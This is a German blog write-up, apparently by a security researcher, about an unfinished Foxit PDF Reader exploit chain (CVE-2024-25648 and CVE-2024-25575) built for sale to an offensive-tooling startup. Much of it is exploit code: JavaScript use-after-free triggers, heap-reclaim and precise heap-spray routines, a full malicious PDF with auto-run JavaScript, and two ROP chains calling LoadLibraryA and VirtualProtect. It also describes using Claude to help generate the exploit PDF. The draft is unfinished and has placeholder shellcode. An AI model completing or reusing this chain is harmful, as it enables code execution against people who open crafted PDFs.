
Schreibe über eine fehlgeschlagene Exploit-Kette und die Erfahrung, deinen ersten N-Day zu verkaufen.
Write-up über eine Exploit-Chain, die es nicht bis zur vollständigen Weaponisierung geschafft hat, und Erfahrungen beim Versuch, deinen ersten N-Day zu verkaufen.
Worum geht es in dieser Geschichte? Unser, sagen wir mal, Zitat: „Lebenserfahrung im Jahr 2025 als junger Security-Forscher, der versucht, in einer sich ständig verändernden und komplexen Umgebung Fuß zu fassen.“ Als 2025 begann, passierten einige Dinge in meinem Leben, die mich dazu bewegten, irgendwie Geld zu verdienen. Leider war das bis heute nie der Fall, denn ich bin kläglich gescheitert, wie du sehen wirst. Also beschloss das Team, unsere Fähigkeiten zu nutzen. Wir wurden von einer Person über ein soziales Netzwerk kontaktiert. Als diese Person auf uns zukam, stellte sie sich als aufstrebendes Start-up im Bereich Cybersicherheit vor, aus einem Teil der Welt – das Land gehört zur MENA-Region – also ein NATO-Freund (ich versuche, nicht zu viele Details über diese Person preiszugeben, da sie ohnehin irrelevant sind). Sie kamen auf uns zu, weil sie jemanden suchten, der ihnen hilft, ihr Produkt zu verbessern – eine Art Premium-Metasploit-Framework. Sie brauchten also im Grunde N-Days für ihr Framework. Darauf antworteten wir glücklich, dass wir gegen einen bestimmten Geldbetrag helfen würden (auch das ist irrelevant, da die Transaktion nie zustande kam). Also schlugen wir eine Reihe potenzieller CVEs vor, von denen wir glaubten, daraus in eineinhalb Monaten einen Exploit bauen zu können. Du kannst dir das vorgeschlagene Produkt hier ansehen: catalogue_final.pdf. Wie auch immer, hier kommt die erste wichtige Lektion für junge Leute, die in der Cybersicherheit herumprobieren wollen. Wenn du eine CVE auswählst, nimm dir etwa 3–4 Wochen Zeit, um sie zu überprüfen, bevor du mit der Forschung beginnst. In besagtem Katalog wirst du feststellen, dass einer der Exploits eine Chain war – eine PDF-Chain. Wir haben uns nur kurz die Beschreibungen angesehen, den bereitgestellten PoC ein- oder zweimal ausgeführt, einen Blick auf die CWE geworfen und entschieden: Hey, das könnten wir vielleicht in einen vollständig weaponisierten Exploit verwandeln. Nichts hätte falscher sein können. Weil das Leben manchmal dazwischenkommt: Ich musste eine Prüfung bestehen, und wir beschlossen, dass wir am 20. Februar mit der Arbeit am eigentlichen Exploit beginnen. Der 20. Februar kommt, und wir beginnen mit der Arbeit am Exploit. Wir starten mit etwas „relativ Einfachem“ (bitte beachte den Sarkasmus), nämlich mit CVE-2024-25648. Aber noch bevor wir richtig loslegten, versuchten wir, die Struktur von PDFs zu verstehen – oder besser gesagt, uns nur einen kleinen Überblick zu verschaffen. Wie du später im Dokument sehen wirst, mussten wir ein „richtiges Dokument“ mit verschiedenen Aktionen zusammenbauen, die bei bestimmten Ereignissen ausgelöst wurden. An dieser Stelle ein großes Lob an Ange Albertini, der diesen Scheiß ordentlich dokumentiert hat. Hier sind die Ressourcen, die wir zum Verständnis der PDF-Struktur verwendet haben: https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc . Warum ist das überhaupt relevant? Ehrlich gesagt, ich habe es vergessen, aber wir entschieden, dass bei dieser Chain ein Teil des Exploits im Hintergrund läuft, sobald du die PDF öffnest, und der zweite Teil, sobald du sie schließt. Idealerweise sollte der Exploit beim Schließen CVE-2024-25648 ausnutzen und beim Öffnen CVE-2024-25575. Um es aufzuschlüsseln: Damit wir ein präzises Speicherlayout für die präzise UAF-Ausnutzung erstellen konnten, brauchten wir einen Info-Leak, um Adressen für ROP-Gadgets zu berechnen. Der Ablauf des Exploits wäre also gewesen: Type-Confusion -> Info-Leak -> GC zum Bereinigen des Heap-Layouts -> präzises Spray -> UAF -> EIP-Control -8 -> Stack-Pivot -> ROP-Chain -> Shellcode -> pop calc.exe. Im aktuellen Stadium hast du nur die UAF und das Heap-Spray sowie theoretisch (nicht getestet) 2 vorgeschlagene ROP-Chains. Ohne zu sehr ins Detail zu gehen: Ein entscheidender Teil jeder UAF-Ausnutzung ist offensichtlich eine „Allocator-Primitive“. Was ist das? Einfach ausgedrückt: etwas, das dir Kontrolle über Inhalt und Größe der gewünschten Allokation gibt. Wir hatten das Glück, dass es andere Leute gab, die zu diesem Thema geforscht haben. Also nutzten wir https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once als Ausgangsbasis. Wir wussten also, dass wir unsere Forschung auf so etwas stützen mussten wie function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} aber wir wussten nicht genau, was wir tun sollten. Also gingen wir zurück, lasen das Advisory und versuchten dann, die Größe des verwundbaren Objekts herauszufinden. Wie haben wir das gemacht? Ehrlich gesagt durch reines Glück. Wir hatten einige Hooks in RtlpFreeHeap, Math.atan, Math.sin und schließlich RtlAllocateHeap eingebaut (sorry, sie sind während der Forschung kaputtgegangen; wir haben sie irgendwie verloren). Hier Bild mit Trace der Objekte einfügen. Nachdem wir nach einem Muster in der Speicherzuweisung gesucht hatten, kamen wir zu dem Schluss, dass die Größe des verwundbaren Objekts 0x70 betrug. Was wir als Nächstes taten, war, zu versuchen, das Objekt zurückzugewinnen. Allgemein gibt es bei der Ausnutzung einer UAF zwei Voraussetzungen, um das besagte Objekt zu kontrollieren: 1. die Größe kennen und 2. eine neue Allokation zwischen Free und Reuse platzieren können. Genau das haben wir getan. Wie du sehen kannst function uaf() { // prepare heap var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
Wir platzierten zwischen den deletePages-Aufrufen – die löschen sollen – die Neuallokation unseres besagten Objekts. Und siehe da: Bild der 41414141-EIP-Kontrolle einfügen. Vorhin sprachen wir über den Exploit-Ablauf bzw. aus Sicht der Exploit-Architektur, und wir erwähnten, dass wir den GC aufrufen wollten, um den Heap zu bereinigen. Für alle, die nicht wissen, wie man den GC aufrufen kann, um seinen Heap-Zustand zu bereinigen – ohne zu sehr ins Detail zu gehen –: Eine Methode, und es gibt viele, besteht darin, ein sehr großes Objekt ein paar Mal zu erzeugen, und dann wäre es erledigt. Nun die eigentliche Implementierung davon war diese eine function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
Nichts Neues unter der Sonne, ich wollte nur kurz auf einen Fakt bezüglich der Implementierung dieser Sache hinweisen. Jetzt gibt es noch eine weitere Sache zu besprechen, da der Exploit eine 32-Bit-Software angreift. Unter Windows gibt es das Konzept des präzisen Heap-Sprays. Was ist das? Unter Windows (ich weiß, es sollte auch unter Linux machbar sein, ich habe es nur unter Windows gesehen) kannst du im 32-Bit-Bereich jedes Mal eine vorhersehbare Adresse allokieren. Ehrlich gesagt ist das nichts Neues unter der Sonne. Es ist einfach, sobald man es versteht. Ich habe es einmal genau verstanden, aber jetzt nicht mehr :))). Wie auch immer, unter Windows 10 ist es nicht erlaubt, VirtualAlloc mit einer Größe von 0x7fb0 für VA-Blöcke aufzurufen. Aber glücklicherweise gibt es einen Trick. Du kannst inkrementell Allokationen der Größe 0x10000, 0x40000 und einer anderen Größe durchführen, und zwar, keine Ahnung, etwa 0x300 Mal. Das ermöglicht es. Wieder nichts Neues unter der Sonne – wer weiß, der weiß. Hier ist die spezifische Implementierung. function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //this will need adjustment aka be changed
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Trigger the theoretical garbage collection to clear the heap.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
Nichts Neues unter der Sonne: Wiederhole dasselbe Payload von 0x10000 zu weiteren 0x10000, bis du einen Hex-String der Länge 0x40000 erhältst, und spraye ihn dann buchstäblich. Ich muss allerdings erwähnen, dass das etwas fehlerhaft ist, denn obwohl es viel sprayt und wir ab und zu eine präzise Adresse bekommen, braucht es ein wenig Optimierung/Verbesserung, denn, na ja, ich habe vergessen, wie man das genau macht. Füge Windbg-Bild und eine Erklärung dessen, was ich sehe, ein.
Bevor wir das Kapitel abschließen, wäre es erwähnenswert, wie wir die Hooks für Math.atan, Math.sin und RtlpFreeHeap/RtlpAllocateHeap erstellt haben. Für die Rtlp-Funktion hatte ich ein paar Hooks von einem Exploit-Dev-Training, das sich mit einer älteren Foxit-Version befasste. Bei Math.atan und Math.sin: Ruben ... (Erklärung einfügen). So kamen wir zu Folgendem (Hooks einfügen) (Windbg-Bild einfügen + Erklärung, was dort passiert).
Nun zum zweiten Teil des Blogs: CVE-2024-25575
Ohne zu sehr ins Detail des eigentlichen Talos-Write-ups zu gehen: Ruben warnte mich nach 2 Wochen, als wir den zweiten Teil des Bugs ins Visier nahmen, dass dies möglicherweise kein reiner Type-Confusion-Bug sei, sondern eher eine UAF, die als Nebeneffekt eine Type-Confusion auf Strings hat. Trotzdem klang das nach einem guten Szenario für die Exploit-Entwicklung. Nicht wirklich. Von Anfang an steht man also vor Folgendem
var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;
app.activeDocs[0].deletePages();
app.fs.transitions;
lock_object.defineGetter('fields', function () {});
Und dein nächstes Ziel ist herauszufinden, wie zum Teufel man app.fs.transitions ersetzt. Zu diesem Zeitpunkt haben Ruben und ich etwa 3 Wochen damit verbracht, uns die Haare zu raufen, weil app.fs.transitions laut Adobe-Dokumentation ein Objekt ist, das nur lesbar und nicht beschreibbar ist (KEIN GUTES ZEICHEN FÜR DIE AUSNUTZUNG). Zweitens konnten wir die Größe von app.fs.transitions mit dem Hook nicht richtig bestimmen. Warum, fragst du dich? Nun, obwohl wir im vorherigen Teil das Glück hatten, die Größe bestimmen zu können, hatten wir hier einfach Pech, als wir feststellten, dass der Größenparameter in diesem Fall nicht zu den Hooks passte und wir deshalb die genaue Größe nicht richtig ermitteln konnten. Wie sind wir aus diesem Schlamassel herausgekommen? Nun, in diesen vergangenen 3 Wochen sahen wir eines Tages auf Twitter, dass jemand einen MCP-Server für Ghidra/IDA veröffentlicht hatte, und wir sagten, wir probieren es einfach mal aus. Nach, ich glaube, ein oder zwei Tagen Streit mit Claude hat es irgendwie dieses Monstrum erzeugt. message.txt%PDF-1.5
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 4 0 R
/AA <<
/WC 3 0 R
>>
endobj
2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]
endobj
3 0 obj << /S /JavaScript /JS(
//var sprayArr = []; var sprayArr2 = [];
var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }
// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }
function type_conf() { app.alert("Starting alternative exploitation approach...");
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];
for (var i = 0; i < fieldTypes.length; i++) {
try {
fields[fieldTypes[i]] = app.activeDocs[0].addField(
'Field_' + fieldTypes[i],
fieldTypes[i],
0,
[10, 50 + i*40, 100, 80 + i*40]
);
app.alert("Created " + fieldTypes[i] + " field");
} catch (e) {
app.alert("Error creating " + fieldTypes[i] + " field: " + e);
}
}
// Step 2: Store references to various objects from these fields
var objects = [];
try {
// Get various objects from different field types to increase chances of success
if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
app.alert("Error storing object references: " + e);
}
// Step 3: Call deletePages() with specific parameters
try {
app.activeDocs[0].deletePages({nStart: 0, nCount: 0}); // Try not to delete any pages
app.alert("deletePages called with parameters");
} catch (e) {
app.alert("Error in deletePages: " + e);
// Continue anyway
}
// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];
// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}
// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
var obj = {
marker: 0xABCD0000 + i,
index: i,
name: "Marker" + i
};
bufferObjects.push(obj);
}
// Step 5: Access transitions and other APIs to influence memory
try {
// Access app.fs.transitions
app.fs.transitions;
app.alert("Transitions accessed");
// Access other properties that might influence memory
if (app.fs.fonts) app.alert("Fonts accessed");
if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
app.alert("Error accessing app properties: " + e);
}
// Step 6: Trigger JavaScript garbage collection
try {
for (var i = 0; i < 3; i++) {
var largeArray = new Array(1000000);
largeArray = null;
}
app.alert("Garbage collection potentially triggered");
} catch (e) {
app.alert("Error triggering GC: " + e);
}
// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];
for (var i = 0; i < objects.length; i++) {
var objName = objects[i].name;
var obj = objects[i].obj;
results.push("Examining " + objName + ":");
try {
// Check object type
results.push("- Type: " + typeof obj);
// Try to convert to string
var asString = String(obj);
results.push("- String representation: " + asString);
// Look for patterns that might indicate addresses
var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
if (hexMatches) {
for (var m = 0; m < hexMatches.length; m++) {
results.push("- Potential address: 0x" + hexMatches[m]);
}
}
// Try JSON serialization with error handling
try {
var asJson = JSON.stringify(obj);
if (asJson && asJson.length > 2) { // Not empty object
results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
}
} catch (jsonError) {
results.push("- JSON error: " + jsonError);
}
} catch (e) {
results.push("- Error examining object: " + e);
}
}
// Report results
for (var i = 0; i < results.length; i++) {
app.alert(results[i]);
}
app.alert("Alternative exploitation completed");
}
type_conf();
)
endobj
4 0 obj << /S /JavaScript /JS(
/* ROP
FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax
we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian
and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian
at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such
arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
weil wir kein WriteProcessMemory haben, greifen wir auf loadlibrarya zurück
43 3A entspricht C:\Users\Vlad\Desktop\hack.dll
0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)
oder falls wir die virtualrpotect-Kette als Payload wollen
rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) since it's the same rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)
*/
var global_address_spray = [];
function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }
function start(msg) { Math.atan(msg); }
function end(msg) { Math.acos(msg); }
function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }
function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }
function store_shellcode() { app.alert(util.printf("Uninitialized1"));
var offset = 0xbc4; //this will need adjustment aka be changed
var final_payload = "";
var junk = p32(0x50505050)+p32(0x80808080);
var rop = "4141424243434444454546464747";
var shellcode = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");
// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');
// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');
// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');
// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');
app.alert("Layout created, now freeing 3 chunks of 0x10000");
// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;
app.alert("Free", hAlloc2);
hAlloc2 = null;
app.alert("Free", hAlloc3);
hAlloc3 = null;
app.alert("Done. Ready for spray");
//Trigger the theoretical garbage collection to clear the heap.
gc();
final_payload = junk.substring(0,offset);
final_payload += rop;
final_payload += shellcode;
final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);
while(final_payload.length < 0x40000){
final_payload += final_payload;
}
var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.
for (var rep = 0; rep < sprayRepeat; rep++) {
for (var i = 0; i < sprayCount; i++) {
// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
global_address_spray.push(sprayBuffer);
}
}
app.alert(util.printf("SPRAY DONE"));
}
var sprayArr = []; var sprayArr2 = [];
var theSize = 0x70-8;
function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }
function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }
function uaf() { // prepare heap var count = 1000; var tArr = [];
start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
end("disabling the heap hook"); }
function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);
reclaim(theSize,0x300,sprayArr2);
app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);
}
//start("enabling the heap hook"); //end("disabling the heap hook");
//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }
//store_shellcode(); //uaf(); //console.show(); )>>
5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>
endobj
trailer
<<
/Root 1 0 R
/Size 12
startxref
%%EOF
Was wir gemacht haben, war – ich schätze, man kann es Regressionstests nennen –, Ruben hat diesen PoC genommen und ihn Zeile für Zeile auseinandergenommen. Der gesamte Prozess dauerte meiner Erinnerung nach etwa zwei Wochen, aber als lustige Eigenheit hier, wie dieses Gespräch verlaufen ist:
vlad: ich kontrolliere ecx!!!!!! nah am Infoleak mit diesem hier kontrollierst du ecx exakt, aber ich weiß nicht, wie ich das String-Objekt ersetzen soll, 'object is dead', aber du kontrollierst irgendwie, wo es crasht irgendeinen poc posten und mit diesem hier kontrollierst du fast ecx, du kontrollierst ecx+8, schau was nein, und mach es bitte zum Infoleak 🙂 irgendeinen poc posten bei diesem hier kontrollierst du den String 'object is dead' also sollte es nah dran sein also wie wir schon geschlussfolgert haben, der Exploit ist nicht 100%, aber er muss nicht 100% sein, er muss nur zuverlässig sein, also aus meinem Test 5/3 ist die Ausgabe die von oben für den teilweisen, für object_is_dead, ist es zu 100% der Fall, dass es mit ecx-Kontrolle crasht
reuben: also, ich versuche gerade, diesen poc auszuführen, und das ist ein völlig anderer Bug lool
vlad: kann ich vc zum Fragen zu deinen Ergebnissen? was total anderer Bug wie?? 0day??? du weißt schon, wir versuchen auf app.fs.transitions zuzugreifen was mich nur irgendwie dazu bringt zu fragen, ist das ein 0day oder eine Cross-Bug-Verwechslung oder eine andere CVE, zugegeben, wir machen wieder delete_pages und app.fs.transition
reuben: also, vorher ist es irgendwo zufällig abgestürzt. Ich weiß nicht, was passiert ist aber hier stürzt es an derselben Stelle ab (jetzt mehrfach reproduziert) aber hört zu es ist bevor du app.fs.transitions aufrufst
vlad: was ist überhaupt Leben, Bruder?? reuben: ich weiß noch nicht, wie ich die Daten dort kontrollieren kann, aber ich bin mir ziemlich sicher, dass etwas sie ersetzen kann vlad: ok, lass mich dich das fragen die pocs, die du gerade hast sie zeigen eine gewisse Kontrolle in Bezug auf ecx und was du mir erzählst, app.fs.transitions ist nutzlos, richtig cool also sind wir auf dem richtigen Weg, oder reuben: ja, wir kommen ohne app.fs.transitions aus, und das sage ich schon seit langem, wusste nur nicht, wie ich es auslösen soll (und weiß es ehrlich gesagt immer noch nicht) vlad: na ja, könnte es sein, wie du gesagt hast, dass der eigentliche Bug eher ein UAF als eine Type Confusion ist??? und nur eine Type Conf wegen app.fs.transitions?
Und hier kommt eine Lektion, die wir während des Denkprozesses gelernt haben, und die könnte auch für junge Forscher entscheidend sein: Wenn ein Bug im Advisory wie zum Beispiel eine Type Confusion aussieht, sich aber nach deiner Analyse wie eine andere Klasse verhält, könnte das ein Zeichen dafür sein, dass – in diesem Fall, oder um es zu verallgemeinern – wenn du Type Confusion für einen Info-Leak nutzen willst, der Bug sich unter Windows aber wie ein UAF verhält, du ziemlich sicher keinen Info-Leak bekommen wirst.
reuben: das kann ich noch nicht sagen aber hör dir das an ich habe Schritt 11 aus deinem letzten poc entfernt und es wird immer noch ausgelöst
Schritt 11 ist, wo du app.fs.transitions aufrufst wir wissen trotzdem noch nicht, ob wir es zum Leaken von irgendwas nutzen können lol
vlad: stimme zu aber wenigstens haben wir jetzt etwas Kontrolle was wiederum nicht wirklich ein Ding ist weil es sein könnte, dass es nur Zufall ist und wir es nicht kontrollieren können looll und wir sind wieder bei sq1 was ist überhaupt Leben????
reuben: ok, also ich habe den Text geändert, der jetzt beim Crash erscheint 😄
vlad: was echt du hast Kontrolle?
sieh den Lichtstrahl, der scheint
reuben: nicht ganz, weil der Text UTF-16LE ist, aber ich kann vielleicht etwas machen, mal sehen
reuben:

reuben: das ist ein weiterer, was bedeutet, dass ich die UTF-16LE-Einschränkung wahrscheinlich umgehen kann
